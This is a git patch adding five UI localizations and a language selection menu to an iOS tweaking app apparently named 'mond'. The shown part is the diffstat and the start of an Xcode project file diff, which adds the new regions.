From d44645b892a030931a9e9f9283d0c5944057545a Mon Sep 17 00:00:00 2001 From: Hikariman Official <168202070+ISvet228@users.noreply.github.com> Date: Sun, 23 Aug 2026 17:59:36 +0200 Subject: [PATCH] Localization Implementation Added Russian Language by Hikariman(me) Added Ukrainian Language by Hikariman, Hikariman's brother, fUnGuN Added Spanish Language by usedoperative-sudo(50%) and AI(50%) Added Italian Language by AI(100%) Added Serbian Language by Hikariman Created Language Selection Menu --- mond.xcodeproj/project.pbxproj | 793 ++++----- .../contents.xcworkspacedata | 14 +- .../xcshareddata/swiftpm/Package.resolved | 48 +- .../xcdebugger/Breakpoints_v2.xcbkptlist | 48 +- .../xcschemes/xcschememanagement.plist | 28 +- mond/bridging.h | 2 +- mond/en.lproj/CEView.strings | 18 + mond/en.lproj/ContentView.strings | 5 + mond/en.lproj/GestaltView.strings | 86 + mond/en.lproj/LanguageView.strings | 7 + mond/en.lproj/Localizable.strings | 10 + mond/en.lproj/LogsView.strings | 1 + mond/en.lproj/PosterView.strings | 15 + mond/en.lproj/SantanderView.strings | 17 + mond/en.lproj/SettingsView.strings | 37 + mond/en.lproj/TendiesView.strings | 11 + mond/es.lproj/CEView.strings | 18 + mond/es.lproj/ContentView.strings | 5 + mond/es.lproj/GestaltView.strings | 86 + mond/es.lproj/LanguageView.strings | 7 + mond/es.lproj/Localizable.strings | 10 + mond/es.lproj/LogsView.strings | 1 + mond/es.lproj/PosterView.strings | 15 + mond/es.lproj/SantanderView.strings | 17 + mond/es.lproj/SettingsView.strings | 37 + mond/es.lproj/TendiesView.strings | 11 + mond/exploit/bad_query/bad_query.c | 416 ++--- mond/exploit/bad_query/bad_query.h | 36 +- mond/exploit/cmg.swift | 210 +-- mond/exploit/unsbx.swift | 292 ++-- mond/helpers/Bundle+Language.swift | 32 + mond/helpers/LanguageManager.swift | 46 + .../AlertinatorLocalized.swift | 82 + mond/helpers/keepalive.swift | 100 +- mond/helpers/mg.swift | 1434 ++++++++------- mond/helpers/posterboard/poster.swift | 580 +++---- mond/helpers/posterboard/tendies.swift | 258 +-- mond/helpers/sbx.swift | 72 +- mond/helpers/utils.swift | 366 ++-- mond/it.lproj/CEView.strings | 18 + mond/it.lproj/ContentView.strings | 5 + mond/it.lproj/GestaltView.strings | 86 + mond/it.lproj/LanguageView.strings | 7 + mond/it.lproj/Localizable.strings | 10 + mond/it.lproj/LogsView.strings | 1 + mond/it.lproj/PosterView.strings | 15 + mond/it.lproj/SantanderView.strings | 17 + mond/it.lproj/SettingsView.strings | 37 + mond/it.lproj/TendiesView.strings | 11 + mond/mond.swift | 183 +- .../AccentColor.colorset/Contents.json | 38 +- mond/other/Assets.xcassets/Contents.json | 12 +- mond/other/mond.icon/icon.json | 96 +- mond/ru.lproj/CEView.strings | 18 + mond/ru.lproj/ContentView.strings | 5 + mond/ru.lproj/GestaltView.strings | 86 + mond/ru.lproj/LanguageView.strings | 7 + mond/ru.lproj/Localizable.strings | 10 + mond/ru.lproj/LogsView.strings | 1 + mond/ru.lproj/PosterView.strings | 15 + mond/ru.lproj/SantanderView.strings | 17 + mond/ru.lproj/SettingsView.strings | 37 + mond/ru.lproj/TendiesView.strings | 11 + mond/sr.lproj/CEView.strings | 18 + mond/sr.lproj/ContentView.strings | 5 + mond/sr.lproj/GestaltView.strings | 86 + mond/sr.lproj/LanguageView.strings | 7 + mond/sr.lproj/Localizable.strings | 10 + mond/sr.lproj/LogsView.strings | 1 + mond/sr.lproj/PosterView.strings | 15 + mond/sr.lproj/SantanderView.strings | 17 + mond/sr.lproj/SettingsView.strings | 37 + mond/sr.lproj/TendiesView.strings | 11 + mond/uk.lproj/CEView.strings | 18 + mond/uk.lproj/ContentView.strings | 5 + mond/uk.lproj/GestaltView.strings | 86 + mond/uk.lproj/LanguageView.strings | 7 + mond/uk.lproj/Localizable.strings | 10 + mond/uk.lproj/LogsView.strings | 1 + mond/uk.lproj/PosterView.strings | 15 + mond/uk.lproj/SantanderView.strings | 17 + mond/uk.lproj/SettingsView.strings | 37 + mond/uk.lproj/TendiesView.strings | 11 + mond/views/app/ContentView.swift | 136 +- mond/views/app/LanguageView.swift | 72 + mond/views/app/LogView.swift | 115 +- mond/views/app/SettingsView.swift | 499 +++--- mond/views/tweaks/SantanderView.swift | 1532 ++++++++--------- mond/views/tweaks/mobilegestalt/CEView.swift | 54 +- .../tweaks/mobilegestalt/GestaltView.swift | 531 +++--- .../views/tweaks/posterboard/PosterView.swift | 340 ++-- .../tweaks/posterboard/TendiesView.swift | 664 +++---- 92 files changed, 5946 insertions(+), 4425 deletions(-) create mode 100644 mond/en.lproj/CEView.strings create mode 100644 mond/en.lproj/ContentView.strings create mode 100644 mond/en.lproj/GestaltView.strings create mode 100644 mond/en.lproj/LanguageView.strings create mode 100644 mond/en.lproj/Localizable.strings create mode 100644 mond/en.lproj/LogsView.strings create mode 100644 mond/en.lproj/PosterView.strings create mode 100644 mond/en.lproj/SantanderView.strings create mode 100644 mond/en.lproj/SettingsView.strings create mode 100644 mond/en.lproj/TendiesView.strings create mode 100644 mond/es.lproj/CEView.strings create mode 100644 mond/es.lproj/ContentView.strings create mode 100644 mond/es.lproj/GestaltView.strings create mode 100644 mond/es.lproj/LanguageView.strings create mode 100644 mond/es.lproj/Localizable.strings create mode 100644 mond/es.lproj/LogsView.strings create mode 100644 mond/es.lproj/PosterView.strings create mode 100644 mond/es.lproj/SantanderView.strings create mode 100644 mond/es.lproj/SettingsView.strings create mode 100644 mond/es.lproj/TendiesView.strings create mode 100644 mond/helpers/Bundle+Language.swift create mode 100644 mond/helpers/LanguageManager.swift create mode 100644 mond/helpers/LocalizationOverrides/AlertinatorLocalized.swift create mode 100644 mond/it.lproj/CEView.strings create mode 100644 mond/it.lproj/ContentView.strings create mode 100644 mond/it.lproj/GestaltView.strings create mode 100644 mond/it.lproj/LanguageView.strings create mode 100644 mond/it.lproj/Localizable.strings create mode 100644 mond/it.lproj/LogsView.strings create mode 100644 mond/it.lproj/PosterView.strings create mode 100644 mond/it.lproj/SantanderView.strings create mode 100644 mond/it.lproj/SettingsView.strings create mode 100644 mond/it.lproj/TendiesView.strings create mode 100644 mond/ru.lproj/CEView.strings create mode 100644 mond/ru.lproj/ContentView.strings create mode 100644 mond/ru.lproj/GestaltView.strings create mode 100644 mond/ru.lproj/LanguageView.strings create mode 100644 mond/ru.lproj/Localizable.strings create mode 100644 mond/ru.lproj/LogsView.strings create mode 100644 mond/ru.lproj/PosterView.strings create mode 100644 mond/ru.lproj/SantanderView.strings create mode 100644 mond/ru.lproj/SettingsView.strings create mode 100644 mond/ru.lproj/TendiesView.strings create mode 100644 mond/sr.lproj/CEView.strings create mode 100644 mond/sr.lproj/ContentView.strings create mode 100644 mond/sr.lproj/GestaltView.strings create mode 100644 mond/sr.lproj/LanguageView.strings create mode 100644 mond/sr.lproj/Localizable.strings create mode 100644 mond/sr.lproj/LogsView.strings create mode 100644 mond/sr.lproj/PosterView.strings create mode 100644 mond/sr.lproj/SantanderView.strings create mode 100644 mond/sr.lproj/SettingsView.strings create mode 100644 mond/sr.lproj/TendiesView.strings create mode 100644 mond/uk.lproj/CEView.strings create mode 100644 mond/uk.lproj/ContentView.strings create mode 100644 mond/uk.lproj/GestaltView.strings create mode 100644 mond/uk.lproj/LanguageView.strings create mode 100644 mond/uk.lproj/Localizable.strings create mode 100644 mond/uk.lproj/LogsView.strings create mode 100644 mond/uk.lproj/PosterView.strings create mode 100644 mond/uk.lproj/SantanderView.strings create mode 100644 mond/uk.lproj/SettingsView.strings create mode 100644 mond/uk.lproj/TendiesView.strings create mode 100644 mond/views/app/LanguageView.swift diff --git a/mond.xcodeproj/project.pbxproj b/mond.xcodeproj/project.pbxproj index a987527..a99fe89 100644 --- a/mond.xcodeproj/project.pbxproj +++ b/mond.xcodeproj/project.pbxproj @@ -1,394 +1,399 @@ -// !$*UTF8*$! -{ - archiveVersion = 1; - classes = { - }; - objectVersion = 77; - objects = { - -/* Begin PBXBuildFile section */ - AABBCCDDEEFF001122334403 /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = AABBCCDDEEFF001122334402 /* ZIPFoundation */; }; - CCA208383020090D001C72B6 /* PartyUI in Frameworks */ = {isa = PBXBuildFile; productRef = CCA208373020090D001C72B6 /* PartyUI */; }; -/* End PBXBuildFile section */ - -/* Begin PBXFileReference section */ - CCF44B3F300858B300739BFC /* mond.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = mond.app; sourceTree = BUILT_PRODUCTS_DIR; }; -/* End PBXFileReference section */ - -/* Begin PBXFileSystemSynchronizedRootGroup section */ - CCF44B41300858B300739BFC /* mond */ = { - isa = PBXFileSystemSynchronizedRootGroup; - path = mond; - sourceTree = ""; - }; -/* End PBXFileSystemSynchronizedRootGroup section */ - -/* Begin PBXFrameworksBuildPhase section */ - CCF44B3C300858B300739BFC /* Frameworks */ = { - isa = PBXFrameworksBuildPhase; - buildActionMask = 2147483647; - files = ( - AABBCCDDEEFF001122334403 /* ZIPFoundation in Frameworks */, - CCA208383020090D001C72B6 /* PartyUI in Frameworks */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXFrameworksBuildPhase section */ - -/* Begin PBXGroup section */ - CCF44B36300858B300739BFC = { - isa = PBXGroup; - children = ( - CCF44B41300858B300739BFC /* mond */, - CCF44B40300858B300739BFC /* Products */, - ); - sourceTree = ""; - }; - CCF44B40300858B300739BFC /* Products */ = { - isa = PBXGroup; - children = ( - CCF44B3F300858B300739BFC /* mond.app */, - ); - name = Products; - sourceTree = ""; - }; -/* End PBXGroup section */ - -/* Begin PBXNativeTarget section */ - CCF44B3E300858B300739BFC /* mond */ = { - isa = PBXNativeTarget; - buildConfigurationList = CCF44B4A300858B400739BFC /* Build configuration list for PBXNativeTarget "mond" */; - buildPhases = ( - CCF44B3B300858B300739BFC /* Sources */, - CCF44B3C300858B300739BFC /* Frameworks */, - CCF44B3D300858B300739BFC /* Resources */, - ); - buildRules = ( - ); - dependencies = ( - ); - fileSystemSynchronizedGroups = ( - CCF44B41300858B300739BFC /* mond */, - ); - name = mond; - packageProductDependencies = ( - AABBCCDDEEFF001122334402 /* ZIPFoundation */, - CCA208373020090D001C72B6 /* PartyUI */, - ); - productName = mond; - productReference = CCF44B3F300858B300739BFC /* mond.app */; - productType = "com.apple.product-type.application"; - }; -/* End PBXNativeTarget section */ - -/* Begin PBXProject section */ - CCF44B37300858B300739BFC /* Project object */ = { - isa = PBXProject; - attributes = { - BuildIndependentTargetsInParallel = 1; - LastSwiftUpdateCheck = 2600; - LastUpgradeCheck = 2600; - TargetAttributes = { - CCF44B3E300858B300739BFC = { - CreatedOnToolsVersion = 26.0.1; - LastSwiftMigration = 2700; - }; - }; - }; - buildConfigurationList = CCF44B3A300858B300739BFC /* Build configuration list for PBXProject "mond" */; - developmentRegion = en; - hasScannedForEncodings = 0; - knownRegions = ( - en, - Base, - ); - mainGroup = CCF44B36300858B300739BFC; - minimizedProjectReferenceProxies = 1; - packageReferences = ( - AABBCCDDEEFF001122334401 /* XCRemoteSwiftPackageReference "ZIPFoundation" */, - CCA208363020090D001C72B6 /* XCRemoteSwiftPackageReference "PartyUI" */, - ); - preferredProjectObjectVersion = 77; - productRefGroup = CCF44B40300858B300739BFC /* Products */; - projectDirPath = ""; - projectRoot = ""; - targets = ( - CCF44B3E300858B300739BFC /* mond */, - ); - }; -/* End PBXProject section */ - -/* Begin PBXResourcesBuildPhase section */ - CCF44B3D300858B300739BFC /* Resources */ = { - isa = PBXResourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXResourcesBuildPhase section */ - -/* Begin PBXSourcesBuildPhase section */ - CCF44B3B300858B300739BFC /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXSourcesBuildPhase section */ - -/* Begin XCBuildConfiguration section */ - CCF44B48300858B400739BFC /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = dwarf; - DEVELOPMENT_TEAM = DN4S6CXFWY; - ENABLE_STRICT_OBJC_MSGSEND = YES; - ENABLE_TESTABILITY = YES; - ENABLE_USER_SCRIPT_SANDBOXING = YES; - GCC_C_LANGUAGE_STANDARD = gnu17; - GCC_DYNAMIC_NO_PIC = NO; - GCC_NO_COMMON_BLOCKS = YES; - GCC_OPTIMIZATION_LEVEL = 0; - GCC_PREPROCESSOR_DEFINITIONS = ( - "DEBUG=1", - "$(inherited)", - ); - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 26.0; - LOCALIZATION_PREFERS_STRING_CATALOGS = YES; - MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; - MTL_FAST_MATH = YES; - ONLY_ACTIVE_ARCH = YES; - SDKROOT = iphoneos; - SWIFT_ACTIVE_COMPILATION_CONDITIONS = "DEBUG $(inherited)"; - SWIFT_OPTIMIZATION_LEVEL = "-Onone"; - }; - name = Debug; - }; - CCF44B49300858B400739BFC /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; - DEVELOPMENT_TEAM = DN4S6CXFWY; - ENABLE_NS_ASSERTIONS = NO; - ENABLE_STRICT_OBJC_MSGSEND = YES; - ENABLE_USER_SCRIPT_SANDBOXING = YES; - GCC_C_LANGUAGE_STANDARD = gnu17; - GCC_NO_COMMON_BLOCKS = YES; - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 26.0; - LOCALIZATION_PREFERS_STRING_CATALOGS = YES; - MTL_ENABLE_DEBUG_INFO = NO; - MTL_FAST_MATH = YES; - SDKROOT = iphoneos; - SWIFT_COMPILATION_MODE = wholemodule; - VALIDATE_PRODUCT = YES; - }; - name = Release; - }; - CCF44B4B300858B400739BFC /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ASSETCATALOG_COMPILER_APPICON_NAME = mond; - ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; - CLANG_ENABLE_MODULES = YES; - CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 1; - DEVELOPMENT_TEAM = DN4S6CXFWY; - ENABLE_PREVIEWS = YES; - GENERATE_INFOPLIST_FILE = YES; - INFOPLIST_KEY_CFBundleDisplayName = mond; - INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.developer-tools"; - INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; - INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; - INFOPLIST_KEY_UILaunchScreen_Generation = YES; - INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait"; - INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown"; - IPHONEOS_DEPLOYMENT_TARGET = 17.0; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/Frameworks", - ); - MARKETING_VERSION = 2.2; - PRODUCT_BUNDLE_IDENTIFIER = com.roooot.mond; - PRODUCT_NAME = "$(TARGET_NAME)"; - STRING_CATALOG_GENERATE_SYMBOLS = YES; - SWIFT_APPROACHABLE_CONCURRENCY = YES; - SWIFT_DEFAULT_ACTOR_ISOLATION = MainActor; - SWIFT_EMIT_LOC_STRINGS = YES; - SWIFT_OBJC_BRIDGING_HEADER = mond/bridging.h; - SWIFT_OPTIMIZATION_LEVEL = "-Onone"; - SWIFT_UPCOMING_FEATURE_MEMBER_IMPORT_VISIBILITY = YES; - SWIFT_VERSION = 5.0; - TARGETED_DEVICE_FAMILY = "1,2"; - }; - name = Debug; - }; - CCF44B4C300858B400739BFC /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ASSETCATALOG_COMPILER_APPICON_NAME = mond; - ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; - CLANG_ENABLE_MODULES = YES; - CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 1; - DEVELOPMENT_TEAM = DN4S6CXFWY; - ENABLE_PREVIEWS = YES; - GENERATE_INFOPLIST_FILE = YES; - INFOPLIST_KEY_CFBundleDisplayName = mond; - INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.developer-tools"; - INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; - INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; - INFOPLIST_KEY_UILaunchScreen_Generation = YES; - INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait"; - INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown"; - IPHONEOS_DEPLOYMENT_TARGET = 17.0; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/Frameworks", - ); - MARKETING_VERSION = 2.2; - PRODUCT_BUNDLE_IDENTIFIER = com.roooot.mond; - PRODUCT_NAME = "$(TARGET_NAME)"; - STRING_CATALOG_GENERATE_SYMBOLS = YES; - SWIFT_APPROACHABLE_CONCURRENCY = YES; - SWIFT_DEFAULT_ACTOR_ISOLATION = MainActor; - SWIFT_EMIT_LOC_STRINGS = YES; - SWIFT_OBJC_BRIDGING_HEADER = mond/bridging.h; - SWIFT_UPCOMING_FEATURE_MEMBER_IMPORT_VISIBILITY = YES; - SWIFT_VERSION = 5.0; - TARGETED_DEVICE_FAMILY = "1,2"; - }; - name = Release; - }; -/* End XCBuildConfiguration section */ - -/* Begin XCConfigurationList section */ - CCF44B3A300858B300739BFC /* Build configuration list for PBXProject "mond" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - CCF44B48300858B400739BFC /* Debug */, - CCF44B49300858B400739BFC /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; - CCF44B4A300858B400739BFC /* Build configuration list for PBXNativeTarget "mond" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - CCF44B4B300858B400739BFC /* Debug */, - CCF44B4C300858B400739BFC /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; -/* End XCConfigurationList section */ - -/* Begin XCRemoteSwiftPackageReference section */ - AABBCCDDEEFF001122334401 /* XCRemoteSwiftPackageReference "ZIPFoundation" */ = { - isa = XCRemoteSwiftPackageReference; - repositoryURL = "https://github.com/weichsel/ZIPFoundation"; - requirement = { - kind = upToNextMajorVersion; - minimumVersion = 0.9.0; - }; - }; - CCA208363020090D001C72B6 /* XCRemoteSwiftPackageReference "PartyUI" */ = { - isa = XCRemoteSwiftPackageReference; - repositoryURL = "https://github.com/jailbreakdotparty/PartyUI"; - requirement = { - kind = upToNextMajorVersion; - minimumVersion = 1.2.0; - }; - }; -/* End XCRemoteSwiftPackageReference section */ - -/* Begin XCSwiftPackageProductDependency section */ - AABBCCDDEEFF001122334402 /* ZIPFoundation */ = { - isa = XCSwiftPackageProductDependency; - package = AABBCCDDEEFF001122334401 /* XCRemoteSwiftPackageReference "ZIPFoundation" */; - productName = ZIPFoundation; - }; - CCA208373020090D001C72B6 /* PartyUI */ = { - isa = XCSwiftPackageProductDependency; - package = CCA208363020090D001C72B6 /* XCRemoteSwiftPackageReference "PartyUI" */; - productName = PartyUI; - }; -/* End XCSwiftPackageProductDependency section */ - }; - rootObject = CCF44B37300858B300739BFC /* Project object */; -} +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 77; + objects = { + +/* Begin PBXBuildFile section */ + AABBCCDDEEFF001122334403 /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = AABBCCDDEEFF001122334402 /* ZIPFoundation */; }; + CCA208383020090D001C72B6 /* PartyUI in Frameworks */ = {isa = PBXBuildFile; productRef = CCA208373020090D001C72B6 /* PartyUI */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + CCF44B3F300858B300739BFC /* mond.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = mond.app; sourceTree = BUILT_PRODUCTS_DIR; }; +/* End PBXFileReference section */ + +/* Begin PBXFileSystemSynchronizedRootGroup section */ + CCF44B41300858B300739BFC /* mond */ = { + isa = PBXFileSystemSynchronizedRootGroup; + path = mond; + sourceTree = ""; + }; +/* End PBXFileSystemSynchronizedRootGroup section */ + +/* Begin PBXFrameworksBuildPhase section */ + CCF44B3C300858B300739BFC /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + AABBCCDDEEFF001122334403 /* ZIPFoundation in Frameworks */, + CCA208383020090D001C72B6 /* PartyUI in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + CCF44B36300858B300739BFC = { + isa = PBXGroup; + children = ( + CCF44B41300858B300739BFC /* mond */, + CCF44B40300858B300739BFC /* Products */, + ); + sourceTree = ""; + }; + CCF44B40300858B300739BFC /* Products */ = { + isa = PBXGroup; + children = ( + CCF44B3F300858B300739BFC /* mond.app */, + ); + name = Products; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + CCF44B3E300858B300739BFC /* mond */ = { + isa = PBXNativeTarget; + buildConfigurationList = CCF44B4A300858B400739BFC /* Build configuration list for PBXNativeTarget "mond" */; + buildPhases = ( + CCF44B3B300858B300739BFC /* Sources */, + CCF44B3C300858B300739BFC /* Frameworks */, + CCF44B3D300858B300739BFC /* Resources */, + ); + buildRules = ( + ); + dependencies = ( + ); + fileSystemSynchronizedGroups = ( + CCF44B41300858B300739BFC /* mond */, + ); + name = mond; + packageProductDependencies = ( + AABBCCDDEEFF001122334402 /* ZIPFoundation */, + CCA208373020090D001C72B6 /* PartyUI */, + ); + productName = mond; + productReference = CCF44B3F300858B300739BFC /* mond.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + CCF44B37300858B300739BFC /* Project object */ = { + isa = PBXProject; + attributes = { + BuildIndependentTargetsInParallel = 1; + LastSwiftUpdateCheck = 2600; + LastUpgradeCheck = 2600; + TargetAttributes = { + CCF44B3E300858B300739BFC = { + CreatedOnToolsVersion = 26.0.1; + LastSwiftMigration = 2700; + }; + }; + }; + buildConfigurationList = CCF44B3A300858B300739BFC /* Build configuration list for PBXProject "mond" */; + developmentRegion = en; + hasScannedForEncodings = 0; + knownRegions = ( + en, + es, + ru, + it, + uk, + sr, + Base, + ); + mainGroup = CCF44B36300858B300739BFC; + minimizedProjectReferenceProxies = 1; + packageReferences = ( + AABBCCDDEEFF001122334401 /* XCRemoteSwiftPackageReference "ZIPFoundation" */, + CCA208363020090D001C72B6 /* XCRemoteSwiftPackageReference "PartyUI" */, + ); + preferredProjectObjectVersion = 77; + productRefGroup = CCF44B40300858B300739BFC /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + CCF44B3E300858B300739BFC /* mond */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + CCF44B3D300858B300739BFC /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + CCF44B3B300858B300739BFC /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + CCF44B48300858B400739BFC /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + 